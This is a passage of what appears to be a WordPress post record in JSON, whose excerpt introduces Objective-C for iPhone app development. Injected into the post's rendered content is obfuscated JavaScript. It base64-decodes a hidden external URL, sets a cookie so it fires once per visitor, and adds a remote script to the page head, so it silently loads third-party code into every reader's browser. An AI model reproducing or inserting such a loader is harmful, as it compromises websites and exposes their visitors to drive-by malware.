Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Objective-C was developed in the early 1980s as an object-oriented, general-purpose programming language that became popular for its use in the development of iPhone applications.<\/p>\n","protected":false},"author":4,"featured_media":6045,"comment_status":"closed","ping_status":"open","sticky":false,"template":"blog_temp_new.php","format":"standard","meta":{"_mi_skip_tracking":false,"footnotes":""},"categories":[800],"tags":[],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v24.3 (Yoast SEO v24.4) - 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